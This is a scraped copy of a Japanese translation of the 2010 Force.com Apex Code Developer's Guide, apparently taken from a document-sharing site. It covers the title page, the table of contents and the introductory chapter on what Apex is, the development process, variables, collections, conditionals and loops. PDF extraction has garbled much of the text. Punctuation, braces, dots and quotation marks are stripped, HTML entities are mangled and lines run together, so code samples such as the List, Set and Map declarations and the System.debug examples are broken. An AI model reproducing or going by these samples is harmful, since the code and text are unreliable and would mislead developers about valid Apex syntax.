+ All Categories
Home > Documents > Force.com Apex Code Developer's Guide - Salesforce CRM

Force.com Apex Code Developer's Guide - Salesforce CRM

Date post: 11-Sep-2021
Category:
Upload: others
View: 13 times
Download: 0 times
Share this document with a friend
444
Version 18.0: Salesforce Spring '10 Force.com Apex Code Developer's Guide Last updated: April 27, 2010 Copyright 2000-2010 salesforce.com, inc. All rights reserved. Salesforce.comno softwareロゴ、および Team Edition は、salesforce.com, inc. の登録商標です。また、AppExchange"Success On Demand"、および The Business Webは、salesforce.com, inc. の商標で す。本ドキュメントに記載されたその他の商標は、各社に所有権があります。
Transcript
Page 1: Force.com Apex Code Developer's Guide - Salesforce CRM

Version 180 Salesforce Spring 10

Forcecom Apex Code Developers Guide

Last updated April 27 2010

Copyright 2000-2010 salesforcecom inc All rights reserved Salesforcecomldquono softwarerdquoロゴおよびTeam Edition はsalesforcecominc の登録商標ですまたAppExchangeSuccess On Demandおよび ldquoThe Business Webrdquo はsalesforcecom inc の商標で

す本ドキュメントに記載されたその他の商標は各社に所有権があります

sanderson
Rectangle

目次

第 1 章 Forcecom Apex コードの概要7Apex とは9

Apex はどう機能しますか11

Apex開発プロセスとは11

Apex はいつ使用するのですか14

Apexの制限とは15

最新情報16

Apex クイックスタート16

Apex ドキュメント表記規則16

Apex の主要な概念について17

最初の Apex スクリプトの作成21

第 2 章 言語構造26データ型27

プリミティブデータ型27

sObject 型30

コレクション33Enum38

変換の規則について39

変数40

大文字と小文字の区別40

定数41

式41

式について41

式の演算子について42

演算子の優先度について48

sObject 式およびリスト式の拡張49

コメントの使用49

代入ステートメント50

条件 (If-Else) ステートメント51

ループ51

Do-While ループ51

While ループ52

For ループ52

SOQL および SOSL クエリ55

SOQL および SOSL クエリ結果の処理57

SOQL 集計関数の使用57

Version 180 | 目次 | i

非常に大きな SOQL クエリの処理58

1 つのレコードを返す SOQL クエリ59

外部キーおよび親子関係の SOQL クエリについて59

SOQL クエリおよび SOSL クエリでのApex 変数の使用59

SOQL ステートメントによるすべてのレコードの問い合わせ60

ロックするステートメント60

SOQL For ループのロック61

デッドロックの回避61

トランザクションの制御61

例外ステートメント62

Throw ステートメント63

Try-Catch-Finally ステートメント63

第 3 章 Apex の呼び出し64トリガ65

バルクトリガ66

トリガ構文66

トリガコンテキスト変数67

コンテキスト変数の考慮事項68

一般的なバルクトリガイディオム69

トリガの定義70

トリガと Merge ステートメント73

トリガと復元レコード73

トリガと実行の順序74

トリガを開始しない操作75

トリガで更新できない項目76

トリガの例外77

Apex スケジューラ77

匿名ブロック81

AJAX での Apex82

第 4 章 クラスオブジェクトおよびインターフェース84クラスを理解する85

Apex クラスの定義85

拡張クラス例86

クラス変数の宣言89

クラスメソッドの定義89

コンストラクタの使用90

アクセス修飾子92

静的およびインスタンス93

Apex プロパティ95

インターフェースおよび拡張クラス97

Version 180 | 目次 | ii

パラメータ化された型とインターフェース99

カスタムイテレータ101

キーワード102

final キーワードの使用102

instanceof キーワードの使用103

super キーワードの使用103

this キーワードの使用104

transient キーワードの使用104

with sharing または without sharing キーワードの使用105

アノテーション107Future107IsTest109Deprecated109

クラスとキャスト110

クラスとコレクション111

コレクションキャスト111

Apex クラスと Java クラスの違い112

クラス定義作成113

名前付け規則114

名前のシャドウイング115

クラスセキュリティ115

名前空間プレフィックス116

メソッドの起動での名前空間の使用116

名前空間クラス変数名の優先度116

型の解決と型のシステム名前空間117

バージョン設定118

クラスおよびトリガの Salesforcecom API バージョン設定118

Apex クラスおよびトリガのパッケージバージョンの設定119

第 5 章 Apex デザインパターン120トリガと一括要求120

第 6 章 Apex のテスト122Apex のテストについて123

Apex テストの理由123

Apex のテストの対象123

Apex のユニットテスト124

runAs メソッドの使用124

LimitsstartTestおよび stopTest の使用126

SOSL クエリのユニットテストへの追加126

ユニットテストメソッドの実行127

ベストプラクティスのテスト128

Version 180 | 目次 | iii

テストの例129

第 7 章 ダイナミック Apex134Apex 定義情報について135

動的 SOQL140

動的 SOSL141

ダイナミック DML142

第 8 章 Apex の一括処理145Apex の一括処理の使用146

Apex による共有管理について153

共有の理解153

Apex を使用したレコードの共有156

Apex による共有管理の再適用160

第 9 章 管理パッケージでの Apex の開発165パッケージバージョン166

Apex の廃止166

パッケージバージョンの動作167

Apex コードの動作のバージョニング167

バージョニングされていない Apex コードの項目168

パッケージバージョンの動作のテスト169

第 10 章 Apex メソッドの Web サービスとしての公開170WebService メソッド171

WebService メソッドによるデータの公開171

WebService キーワード使用に関する考慮事項171

Web サービスメソッドのオーバーロード172

第 11 章 Apex を使用したコールアウトの呼び出し173リモート サイト設定の追加174

SOAP サービス WSDL ドキュメントからのクラスの定義174

外部サービスの呼び出し175

HTTP ヘッダーのサポート175

サポートされた WSDL 機能176

生成されるコードについて178

WSDL 使用についての考慮事項180

HTTP コールアウトの呼び出し181

証明書の使用181

証明書の生成182

SOAP サービスでの証明書の使用183

HTTP 要求での証明書の使用183

コールアウトの制限184

Version 180 | 目次 | iv

第 12 章 参照185Apex のデータ操作言語 (DML) 操作186

ConvertLead 操作187

Delete 操作191

Insert 操作192

Merge ステートメント195

Undelete 操作195

Update 操作198

Upsert操作200

DML 操作をサポートしない sObjects204

DML 操作内で一緒に使用できない sObject204

大量DML例外処理205

Apex 標準クラスおよび標準メソッド205

Primitives メソッド206

Apex Collection メソッド227

Enum メソッド237

sObject メソッド238

System メソッド259

例外メソッドの使用297

Apex クラス300

Apex電子メールクラス300

例外クラス315

Visualforce クラス317

パターンおよびマッチャークラス336

HTTP (RESTful)サービスクラス349

Apex 承認プロセスクラス361

XmlStreamクラス366

営業時間クラス373

Apex コミュニティクラス374

サイトクラス378

第 13 章 Apexスクリプトの展開382Forcecom IDE を使用した Apex の展開383

Forcecom Migration Tool の使用383

deploy について385

retrieveCode について386

runTests() について388

Forcecom Migration Tool 追加ディプロイメソッド388

付録389

Version 180 | 目次 | v

付録 A納入先請求書の例389納入先請求書の例ウォークスルー389

納入先請求書の例コード391

付録 B 予約キーワード397

付録 C Apex 開発および Visualforce 開発のセキュリティのヒント399クロスサイトスクリプト (XSS)399

Visualforce ページのエスケープされない出力と式401

クロスサイトリクエストフォージェリ (CSRF)403

SOQL インジェクション404

データアクセスコントロール405

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ406compileAndTest()407compileClasses()410compileTriggers()411executeanonymous()412runTests()413DebuggingHeader418PackageVersionHeader420

用語集421

索引435

Version 180 | 目次 | vi

第 1 章

Forcecom Apex コードの概要

過去数年間を通じてsalesforcecomは企業アプリケーションを伝統的なクライアントサーバベースからオンデマンドマルチテナントのウェ

トピック

bull Apex とは ブ環境へと移すことによってビジネスを行う方法を変えてきましたbull 最新情報 この環境Forcecom プラットフォームは営業支援 (SFA) およびサー

ビス サポートなどのアプリケーションの実行とカスタマイズをそしbull Apex クイックスタートて特定のビジネスニーズをベースにした新しいカスタムアプリケーションの構築を可能にしました

新規項目オブジェクトワークフローおよび承認プロセスを定義する機能など多くのカスタマイズオプションはSalesforcecomユーザインターフェースを通して利用可能ですまた開発者はクライアントサイドのプログラムから delete()update()または upsert()などのデータ操作コマンドを発行する Forcecom Web Services API を利用することができます

一般的にJavaJavaScriptまたはNETで書かれているこれらのクライアントサイドプログラムによって組織はより柔軟なカスタマイズが可能になりますしかしながらこれらのクライアントサイドプログラムの管理ロジックはForcecom プラットフォームサーバ上にはないため以下のような制限を受けます

bull 一般的なトランザクションを完了させるために salesforcecom サイトへの複数回の呼び出しを必要とするパフォーマンスコスト

bull API 要求におけるトランザクションコントロールの欠如bull Java または Net などのサーバコードをセキュアかつ安定してホスティ

ングすることのコストと複雑さ

これらの問題に対処し開発者がオンデマンドアプリケーションを作成する方法に革新を起こすためにsalesforcecomは現在商用のアプリケーションの次世代を構築することに関心を持った開発者用の最初のマルチテナントオンデマンドプログラム言語Forcecom Apexを導入します

bull Apex とは Apex をいつ使用するのか開発プロセス制限事項bull Apex の本リリースの新機能bull Apex クイックスタート コードを詳細に調査し最初のApex スクリ

プトを作成

より高度な開発者については「Apexデザインパターン (ページ 120)」を参照してください

Forcecom Apex コードの概要 Version 180 | | 8

Apex とは

Forcecom Apex コードは開発者が Forcecom プラットフォームサーバでフローとトランザクションの制御文をForcecom API と組み合わせて実行できるようにした強く定型化されたオブジェクト指向のプログラミング言語ですJava に似た構文を使いデータベースのストアドプロシージャのように動作する Apex コードを使用して開発者はボタンクリック関連レコードの更新およびVisualforceページなどのほとんどのシステムイベントに対しビジネスロジックを追加できますApex スクリプトはWeb サービス要求からおよびオブジェクトのトリガから開始できます

図 1 ほとんどのシステムイベントに Apex を追加できます

言語としてApex は次の特徴があります

統合Apex では次のような Forcecom プラットフォームの共通な慣用句を使用できます

bull INSERTUPDATEおよび DELETEなど組み込み DmlException処理を含むデータ操作言語 (DML)コール

bull sObject レコードのリストを返すインラインSalesforcecomオブジェクトクエリ言語 (SOQL) とSalesforcecomオブジェクト検索言語 (SOSL) のクエリ

bull 複数のレコードの一括処理を可能にするループ

Forcecom Apex コードの概要 Version 180 | Apex とは | 9

bull レコード更新の競合を回避するロック構文bull 保存された Apex メソッドから構築できるカスタム公開 Forcecom API コールbull Apexが参照するカスタムオブジェクトまたはカスタムフィールドを編集または削除しようとした場合に

発行される警告およびエラー

使いやすいApex は変数や式構文ブロックおよび条件ステートメント構文ループ構文オブジェクトおよび配列の通史参照によるパスなどよく知られた Java の用語に基づいていますApex が新しい要素を導入している場合Forcecom プラットフォームを理解しやすくまた使いやすくする構文および動作を使用しますその結果Apex は簡潔で記述しやすいコードを作成します

データ指向Apex は複数のクエリおよび DML ステートメントを Forcecom プラットフォームサーバー上の 1 つの作業にまとめるよう設計されています開発者はデータベースのストアドプロシージャを使用し複数のトランザクションステートメントをデータベースサーバーにまとめますほかのデータベースのストアドプロシージャと同様にApex はユーザインターフェースでの要素の実行はサポートしていません

厳密性Apex はオブジェクト名や項目名などスキーマオブジェクトを直接参照する強力に型付けされた言語です参照が無効である場合はコンパイル時にすぐエラーが発生しますアクティブな Apex スクリプトが要求している場合に削除されないようメタデータのすべてのカスタム項目オブジェクトクラス依存を保存します

ホステッドApex はすべて Forcecom プラットフォーム上で解釈実行制御されます

マルチテナント型ほかの Forcecom プラットフォームと同様Apex はマルチテナント環境で実行しますそのためApex ランタイムエンジンはRunaway スクリプトに対して保護するよう設計され共有リソースを独占しないようにしますこうした制限事項に違反するスクリプトは失敗しわかりやすいエラーメッセージが表示されます

自動アップグレードApexはForcecomプラットフォームのほかの部分がアップグレードされた場合にも書き直す必要がありませんコンパイルされたコードはプラットフォームのメタデータとして保存されているためシステムの残りの部分で自動的にアップグレードされます

テストしやすいApex ではコードがどれだけカバーされているかコードのどの部分がより効果的かを示すテスト結果などユニットテストを作成および実行できますSalesforcecom ではプラットフォームのアップグレードの前にメタデータに保存されたすべてのユニットテストを実行することによってスクリプトを期待どおりに動作させることができます

バージョンApex スクリプトを異なるバージョンの Forcecom API に対して保存できますこれにより動作を維持できます

Apex は Unlimited EditionDeveloper EditionEnterprise Edition に搭載されています

Forcecom Apex コードの概要 Version 180 | Apex とは | 10

Apex はどう機能しますか

すべてのApexは以下のアーキテクチャダイアグラムで示すようにForcecomプラットフォームにて全体的にオンデマンドで実行されます

図 2 ApexコードはForcecom プラットフォーム上で全体的にコンパイルされ記憶され実行されます

プラットフォームにApexスクリプトを開発者が作成して保存する時プラットフォームのアプリケーションサーバは最初にコードをApexランタイムインタプリタによって理解可能な命令の抽象セットにコンパイルしそれからメタデータとしてそれらの命令を保存します

Apex の実行はエンドユーザがおそらくボタンをクリックするかまたは Visualforce ページにアクセスすることによって行われますその際プラットフォームのアプリケーションサーバがコンパイルされた命令をメタデータから取得しランタイムインタプリタを通して結果を返します標準プラットフォームとの実行時間の違いはないためエンドユーザが気づくことはありません

Apex開発プロセスとは

Apexスクリプトの開発を始める前にsalesforcecomが推奨する以下の開発プロセスを理解する必要があります

1 Developer Edition アカウントの取得2 Apex スクリプトの作成3 Apex を作成する場合テストを作成する必要もあります4 任意でApex スクリプトを sandbox 組織にディプロイし最終ユニットテストを行います5 Salesforcecom 運用組織に Apex スクリプトを展開します

作成およびテストが完了したスクリプトはForcecom AppExchange App package に追加することも可能です

Developer Edition アカウントの取得

Apexを実行可能な3つのタイプの組織が以下のようにあります

bull 開発者組織 Developer Edition アカウントで作成された組織bull 運用組織 実際の運用データとそれらにアクセスするユーザを持っている組織

Forcecom Apex コードの概要 Version 180 | Apex はどう機能しますか | 11

bull Sandbox 組織 本番システム上に作成された運用組織のコピー

メモ Salesforcecom のTrial EditionではApexトリガが利用可能ですが他のエディションにコンバートしている時は無効です新しくサインアップした組織が Apex を含む場合ディプロイメントメソッドの1つを使ってコードを組織にディプロイする必要があります

Salesforcecom 運用組織では Apex を開発することはできません実際にユーザが利用中のシステムで開発を行う場合データまたはアプリケーションを不安定にまたは破壊することがありますsalesforcecom はsandboxまたはDeveloper Edition 組織上ですべての開発作業を行うことを推奨します

まだ開発者コミュニティのメンバーでない場合httpdeveloperforcecomjoin にアクセスしDeveloper Editionアカウントのサインアップの指示に従ってくださいDeveloper Editionアカウントによって自由にDeveloperEdition組織にアクセス可能になりますEnterprise または Unlimited Edition 組織およびApexを作成するためのsandbox 組織を既にお持ちでも開発者コミュニティのリソースを参照することを強くお勧めします

メモ Salesforcecom の運用組織ではSalesforcecom ユーザーインターフェースを使用して Apex に変更を行うことはできません

Apex の作成

次のような編集環境で Apex スクリプトおよびテストを作成できます

bull Forcecom IDE

Forcecom IDE は Eclipse IDE のプラグインですForcecom IDE にはForcecom アプリケーションを構築および展開する統合インターフェースがあります開発者および開発チーム向けに設計された IDE にはソースコードエディタテスト実行ツールウィザードおよび統合ヘルプなどForcecom アプリケーション開発を促進するツールが用意されていますForcecom IDEはhttpwikiapexdevnetcomindexphpForcecom_IDEで入手できます基本的なカラー表示エディタアウトラインビュー統合されたユニットテストおよび保存時の自動コンパイルとエラーメッセージ表示を提供しますインストール方法および使用方法の詳細はWeb サイトを参照してください

bull Salesforcecom ユーザインターフェースすべてのスクリプトは保存時にコンパイルされ構文エラーにはフラグが表示されますエラーがなくなるまでコードを保存することはできませんSalesforcecom ユーザーインターフェースはスクリプトの行番号を表示しカラー表示によるコメントキーワードリテラル文字列などさまざまな要素を区別しやすいように表示します

- 標準オブジェクトのトリガの場合は [設定] [カスタマイズ]をクリックしオブジェクト名をクリックしてから [トリガ] をクリックしますトリガの詳細ページで[新規] をクリックしBodyテキストボックスにコードを入力します

- カスタムオブジェクトのトリガ場合は[設定] [開発] [オブジェクト] をクリックしオブジェクトの名前をクリックしますトリガの関連リストで[新規]をクリックしBodyテキストボックスにコードを入力します

- クラスの場合[設定] [開発] [Apex クラス] をクリックします[新規] をクリックしBodyテキストボックスにコードを入力します

メモ Salesforcecom の運用組織ではSalesforcecom ユーザーインターフェースを使用して Apex に変更を行うことはできません

bull メモ帳などのテキストエディタApexスクリプトを作成した後アプリケーションにコピーして貼り付けたりAPI コールのいずれかを使用してディプロイすることができます

Forcecom Apex コードの概要 Version 180 | Apex開発プロセスとは | 12

ヒント Eclipse プラグインを拡張または Apex IDEを独自に開発することも可能ですWebサービス APIにはトリガやクラスをコンパイルテストメソッドを実行するための方法が提供されまた MetadataAPI には本番環境にコードをディプロイするための方法が提供されています詳細はApex スクリプトのディプロイ (ページ 382)およびApex の Web サービス API コールと SOAP ヘッダー (ページ 406)

テストの作成

テストは長期間の開発を正常に行うためにキーとなるもので開発プロセスの重要な部分を占めますテストベースの開発プロセスつまりコード開発と同じ回数行うテスト開発を使用することを強くお勧めします

強固な開発を促進するためにエラーのないコードApex はユニットテストの作成および実行をサポートしますユニットテストは特定のコードが適切に動作しているかを確認するクラスメソッドですユニットテストは引数をとらずデータをデータベースにコミットせず電子メールを送信せずメソッド定義で testMethod

キーワードを使用してフラグを立てます

またForcecom AppExchange 向けに Apex を展開またはパッケージ化する前に次の点を実行する必要があります

bull Apex スクリプトの75がユニットテストの適用範囲でかつすべてのテストは正しく完了します

次の点に注意してください

- 運用組織に展開する場合組織の名前空間内の各ユニットテストが行われます- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません- Apex コードの 75 だけをテストでカバーする必要がある場合フォーカスはカバーされるコードの割合

にあってはいけません代わりに正のケースや負のケース大量のレコードや単一レコードなどアプリケーションのすべての使用ケースがカバーされていることを確認してくださいコードの 75 以上がユニットテストにカバーされます

bull すべてのトリガについていくつかのテスト適用範囲ありますbull すべてのクラスとトリガは正常にコンパイルされます

テスト作成の詳細は「Apex のテスト (ページ 122)」を参照してください

Sandbox 組織への Apex のディプロイ

Salesforcecomはテストやトレーニングなど様々な目的のために運用組織のデータとアプリケーションに影響を与える事なく運用組織のコピーを複数作成可能にしますこれらのコピーは Sandbox と呼ばれSalesforcecomの運用組織とほぼ同じですSandbox はSalesforcecom 運用組織から完全に独立しているためSandbox で実行する操作は Salesforcecom 運用組織に影響せず逆に運用組織で実行する操作が Sandbox に影響することもありません

Apex を Forcecom IDE から Salesforcecom 組織に展開するにはForcecom コンポーネント展開ウィザードを使用しますForcecom IDE に関する詳細はhttpwikiapexdevnetcomindexphpForcecom_IDE を参照してください

deploy() Metadata API コールを使用して開発者組織から Sandbox 組織に Apex を展開することもできます

もう1つの便利なAPIコールはrunTests()です開発またはsandbox組織においては特定のクラスクラスのリストまたは名前空間のためにユニットテストを実行可能です

Salesforcecom には簡単にこれらのコマンドをコンソール内で発行可能にする Forcecom Migration Tool もありますまたは自身のディプロイコードを実行することも可能です

Forcecom Apex コードの概要 Version 180 | Apex開発プロセスとは | 13

詳細については「Forcecom 移行ツールの使用」 (ページ 383)と「Apex スクリプトのディプロイ」 (ページ 382)を参照してください

Apex の Salesforcecom 運用組織へのディプロイ

すべてのユニットテストを完了させApex スクリプトが適切に実行されることを確認した後で最終ステップはSalesforce 運用組織に Apex に展開することになります

Apex を Forcecom IDE から Salesforcecom 組織に展開するにはForcecom コンポーネント展開ウィザードを使用しますForcecom IDE に関する詳細はhttpwikiapexdevnetcomindexphpForcecom_IDE を参照してください

Salesforce 運用組織に Apex を展開するにはcompileAndTest API コールも使用可能です

詳細は「Apex のディプロイ」 (ページ 382)を参照してください

Apex スクリプトの Forcecom AppExchange App アプリケーションへの追加

AppExchange 用に作成するアプリケーションに Apex スクリプトを含めることができます

パッケージの一部として含まれている Apex はどれも累積的テストカバー率が最低でも 75 である必要があります各トリガも何らかのテストを行なう必要がありますパッケージを AppExchange にアップロードする時すべてのテストが実行されエラーなく実行されることが確認されますまたパッケージがインストールされる時にもすべてのテストがインストール先の組織で実行されますインストールを実行する管理者はいずれかのテストに失敗した場合パッケージのインストールを続行するかどうかを判断できます

またsalesforcecom はApex を含む AppExchange パッケージは管理パッケージとするよう推奨します

詳細はSalesforcecomオンラインヘルプの「管理パッケージとは 」を参照してください管理パッケージのApexの詳細は「管理パッケージでの Apex の開発 (ページ 165)」を参照してください

メモ 翻訳文のあるカスタムラベルへの参照を含む Apex クラスのパッケージに翻訳を含めるにはトランスレーションワークベンチを有効にし翻訳されたカスタムラベルで使われている個々の言語を明示的にパッケージに含めてください詳細はオンラインヘルプの項目「カスタムラベルの概要」を参照してください

Apex はいつ使用するのですか

Salesforcecomでは強力な CRM 機能を提供するアプリケーションが組み込まれていますまた組織に応じて組み込みアプリケーションをカスタマイズする機能も用意していますただし組織には既存の機能ではサポートされていない複雑なビジネスプロセスがあることがありますこの場合Forcecom プラットフォームには高度な管理者や開発者がカスタム機能を実装できるさまざまな方法が搭載されています搭載されている機能はApexVisualforceおよび Forcecom Web サービス API です

Apex

次のような場合に Apex を使用します

bull Web サービスを作成するbull 電子メールサービスを作成するbull 複数のオブジェクトに複雑な検証を実行するbull ワークフローでサポートされていない複雑なビジネスプロセスを作成する

Forcecom Apex コードの概要 Version 180 | Apex はいつ使用するのですか | 14

bull カスタムトランザクションロジック (1 つのレコードやオブジェクトだけでなくトランザクション全体で発生するロジック) を作成する

bull 操作がユーザインターフェースVisualforce ページまたは Web サービス API のどこで行われているかに関係なく操作が実行されるといつでも行われるようレコードの保存などの別の操作にカスタムロジックを添付する

Visualforce

Visualforce ではタグベースのマークアップ言語を使用して開発者はより効果的にアプリケーションを開発したりSalesforcecomのユーザインターフェースをカスタマイズしたりできますVisualforceを使用して次のことができます

bull ウィザードやその他のマルチステッププロセスの構築bull アプリケーションを介した独自のカスタムフローコントロールの作成bull 最適かつ効果的なアプリケーションの相互作用を目的としたナビゲーションパターンやデータ固有ルール

の定義

詳細については『Visualforce Developers Guide』を参照してください

Forcecom Web サービス API

度に 種類のレコードを処理しトランザクション処理(Savepointの設定またはロールバックなど)を必要としないアプリケーションの場合標準の Forcecom Webサービス API コールを使用します

詳細は『Forcecom Web Services Developers API Guide』を参照してください

Apexの制限とは

Apexは開発者のオンデマンドビジネスアプリケーションを大胆に変えましたしかし一般的なプログラム言語を意味しているわけではありませんこのリリースではApex は以下の目的で使用することができません

bull エラーメッセージ以外のユーザインターフェースのレンダリングbull 標準機能の変更 -Apex は標準機能が呼ばれるのを防ぐかまたは機能を追加することのみ可能ですbull 一時ファイルの作成bull スレッドの作成

ヒント

Apexスクリプトは他のすべての組織で使用される共有リソースであるForcecomプラットフォームで実行されます一貫したパフォーマンスと拡張性を保証するためApexの実行はApex実行がSalesforcecomのサービス全体に一切影響を及ぼさないことを保証するガバナ制限に拘束されていますこれは各Apexスクリプトは1 回のトランザクションで実行できる操作数 (DML や SOQL など) に制限があることを意味します

すべての Apex トリガ要求は1 件から 1000 件のレコードを含むコレクションを返しますコードが一度に 1 つのレコードだけに機能すると想定することはできませんそのため一括処理を行うプログラミングパターンを実装する必要がありますそうでない場合ガバナ制限に触れる場合があります

関連リンクApex デザインパターン

Forcecom Apex コードの概要 Version 180 | Apexの制限とは | 15

最新情報

Apex の新機能および変更された機能概要について Winter 10 をレビューします

Apex クイックスタート

Developer Edition を導入しApex スクリプトを作成するために使用するツールを選択するとApex の主要な概念の一部を学びたいと考えるでしょうApexは Java に非常に似ているため多くの機能がなじみ深いものです

基本を確認したら最初の Apex プログラム非常に簡単な「Hello World」スクリプトを作成しましょうスクリプトを作成した後ユニットテストを書いて拡張することも可能です

さらに納入先請求書の例を検証することもできますこの例ではより多くの言語の機能を説明しています

メモ Hello World スクリプトと納入先請求書の例ではカスタム項目およびオブジェクトが必要です項目やオブジェクトを自分で作成したりオブジェクト項目および Apex スクリプトを管理パッケージとして Forcecom AppExchange からダウンロードできます詳細はwikiapexdevnetcomindexphpDocumentation を参照してください

Apex ドキュメント表記規則Apex および Visualforce ドキュメントは次の表記規則を使用しています

説明規則

構文の記述においてmonospace フォントはかっこを除いて表示されたとおりに入力する必要のある項目を示します例Public class HelloWorld

Courier font

構文の記述においてイタリック体は変数を示します実際値を入力してください次の例では3 つの値を入力する必要があります

datatype variable_name [ = value]

Italics

構文の記述において不等号は (lt gt) そのまま入力しますltapexpageBlockTable value=accountContacts var=contactgtltapexcolumn value=contactNamegt ltapexcolumn

lt gt

value=contactMailingCitygt ltapexcolumnvalue=contactPhonegt ltapexpageBlockTablegt

シンタックスの説明では中かっこ ( ) は表示通りに入力しますltapexpagegt Hello $UserFirstNameltapexpagegt

Forcecom Apex コードの概要 Version 180 | 最新情報 | 16

説明規則

構文の記述において大かっこに囲まれているものはオプションです次の例では valueの指定はオプションです

datatype variable_name [ = value]

[ ]

構文の記述において「または」を意味します次のいずれか (すべてではない) を実行できます次の例では2 つのいずれかの方法で未投入のセットを作成するかセットを投入することができますSetltdatatypegt set_name [= new Setltdatatypegt()] | [= newSetltdatatypevalue [ value2 ] ] |

|

Apex の主要な概念について一般的なApexスクリプトにはその他のプログラミング言語でよく知られている多くのことが含まれています

図 3 Apex のプログラミング要素

ここではApex の基本機能および主要な概念の一部について説明しています

バージョン設定の使用

Salesforcecomユーザインターフェースで保存するApexクラスまたはトリガに対して Salesforcecom APIのバージョンを指定できますこの設定は使用する Forcecom Web サービス API だけではなくApex バージョンも示します保存した後バージョンを変更できます各クラス名またはトリガ名は一意でなければなりません異なるバージョンに対して同じクラスまたはトリガを保存することはできません

Forcecom Apex コードの概要 Version 180 | Apex の主要な概念について | 17

バージョン設定を使用してクラスまたはトリガをAppExchangeから組織にインストールした管理パッケージの特定のバージョンと関連付けることができます管理パッケージのこのバージョンはより新しいバージョンの管理パッケージがインストールされてもバージョン設定を手動で更新しない限りクラスまたはトリガによって引き続き使用されますインストール済み管理パッケージを設定リストに追加するには使用可能なパッケージのリストからパッケージを選択しますリストはクラスまたはトリガにまだ関連付けられていないインストール済み管理パッケージがある場合にのみ表示されます

管理パッケージでのバージョン設定の使用の詳細はSalesforcecomオンラインヘルプの「パッケージバージョンとは」を参照してください

変数メソッドおよびクラスの命名

変数メソッドまたはクラスを命名する場合Apex の予約キーワードを使用することはできませんこれらにはlisttestまたは account予約キーワードなどApex および Forcecom プラットフォームの一部である語が含まれます

変数および式の使用

Apex は強力に型付けされた言語ですつまり最初に参照するときに変数のデータ型を宣言する必要がありますApex データ型にはIntegerDateBoolean の基本のデータ型またリストマップオブジェクトおよび sObjects など高度なデータ型があります

変数は名前およびデータ型で宣言されます宣言する場合値を変数に割り当てることができますまた後で値を代入してもかまいません変数を宣言する場合次の構文を使用します

datatype variable_name [ = value]

ヒント 上記の末尾にあるセミコロンはオプションではありませんステートメントの最後には必ずセミコロンを使用します

次の例は変数の宣言を示しています

次の変数は Count という名前でデータ型は Integer 値は 0 です Integer Count = 0 次の変数名は Totalデータ型は Decimal ですNote 値は割り当てられていませんDecimal Total 次の変数は取引先で sObject として参照されますAccount MyAcct = new Account()

Forcecom Apex コードの概要 Version 180 | Apex の主要な概念について | 18

すべての非プリミティブデータ型が参照によって渡されますがすべてのプリミティブ変数は値によって渡されます

ステートメントの使用

ステートメントは操作を実行するコード化された指示です

Apex の場合ステートメントの末尾にセミコロンを使用し次の種類のいずれかとなります

bull 代入 (値を変数に割り当てるなど)bull 条件 (if-else)bull ループ

- Do-while- While- 対象

bull ロックbull データ操作言語 (DML)bull トランザクションの制御bull メソッド呼び出しbull 例外処理

ブロックは中かっこでまとめられる一連のステートメントです単一のステートメントが使用できる場所ならどこでも使用することができます例

if (true) Systemdebug(1) Systemdebug(2) else Systemdebug(3) Systemdebug(4)

ブロックが 1 つのステートメントだけで構成されている場合中かっこはなくなります例

if (true) Systemdebug(1) else Systemdebug(2)

コレクションの使用

Apex には次のようなコレクションがあります

bull リスト (配列)bull Mapbull セット

リストはIntegerStringオブジェクトその他のコレクションなど要素のコレクションです要素の順序が重要な場合にリストを使用しますリスト内に重複した要素を持つことができます

リスト内の最初の索引の位置は必ず 0 になります

リストを作成する手順は次のとおりです

bull newキーワードを使用しますbull ltgt文字で囲んだ要素の種類の前に Listキーワードを使用します

次の構文を使用してリストを作成します

List ltdatatypegt list_name [= new Listltdatatypegt()] | [=new Listltdatatypegtvalue [ value2 ]] |

Forcecom Apex コードの概要 Version 180 | Apex の主要な概念について | 19

次の例では Integer のリストを作成し変数 My_Listに割り当てますApex は強力に型付けされているためMy_Listのデータ型を Integer のリストとして宣言する必要があります

ListltIntegergt My_List = new ListltIntegergt()

詳細は「リスト」 (ページ 34)を参照してください

セットは順不同の要素のコレクションですセット内の各要素は一意である必要がありますセットにはStringIntegerDate などプリミティブデータ型のみ含まれますオブジェクトなどのより複雑なデータ型を含めることはできません

セットを作成する手順は次のとおりです

bull newキーワードを使用しますbull ltgt文字で囲んだプリミティブデータ型の前に Setキーワードを使用します

次の構文を使用してセットを作成します

Setltdatatypegt set_name [= new Setltdatatypegt()] | [= new Setltdatatypevalue [ value2 ] ] |

次の例ではString のセットを作成しますセットの値は中かっこ を使用して渡されます

SetltStringgt My_String = new SetltStringgta b c

詳細は「セット」 (ページ 35)を参照してください

マップはキー-値のペアのコレクションですキーにはプリミティブデータ型が含まれます値はプリミティブデータ型オブジェクトやその他のコレクションとなりますキーによって何か検索する場合はマップを使用しますマップ内のでは重複する値を持つことはできますが各キーは一意である必要があります

マップを作成する手順は次のとおりです

bull newキーワードを使用しますbull ltgt文字で囲みカンマで区切ったキー-値の前に Mapキーワードを使用します

次の構文を使用してマップを作成します

Mapltkey_datatype value_datatypegt map_name [=new mapltkey_datatype value_datatypegt()] |[=new mapltkey_datatype value_datatypegt key1_value =gt value1_value [ key2_value =gtvalue2_value ]] |

次の例ではキーのデータ型が Integer値が String というマップを作成しますこの例でマップが作成されると中かっこ の間にマップの値が渡されます

MapltInteger Stringgt My_Map = new MapltInteger Stringgt1 =gt a 2 =gt b 3 =gt c

詳細は「マップ」 (ページ 36)を参照してください

Forcecom Apex コードの概要 Version 180 | Apex の主要な概念について | 20

条件分岐の使用

ifステートメントはアプリケーションが条件に基づいてさまざまなことを実行できる真-偽のテストです基本構文は次のとおりです

if (Condition) 真の場合はこれを実行 else 真でない場合はこれを実行

詳細は「条件 (If-Else) ステートメント」 (ページ 51)を参照してください

ループの使用

ifステートメントを使用するとアプリケーションは条件に基づいて操作を実行できますがループはアプリケーションに条件にも続いて同じ事を繰り返し実行するよう指示しますApex は次のようなループがあります

bull Do-whilebull Whilebull 対象

Do-while ループはコードが実行された後条件をチェックします

While ループはコードが実行される前開始時に条件をチェックします

Forループを使用するとループ内で使用される条件をより詳細に制御できますまたApexでは条件を設定する従来の For ループ条件の一部としてリストおよび SOQL クエリを使用する For ループを使用できます

詳細は「ループ」 (ページ 51)を参照してください

最初の Apex スクリプトの作成次の「Hello World」の例ではApex の基本概念の大部分について説明していますこの例ではHelloというカスタム Account 項目が新しい取引先が作成されると値としてのテキスト「World」で更新されます

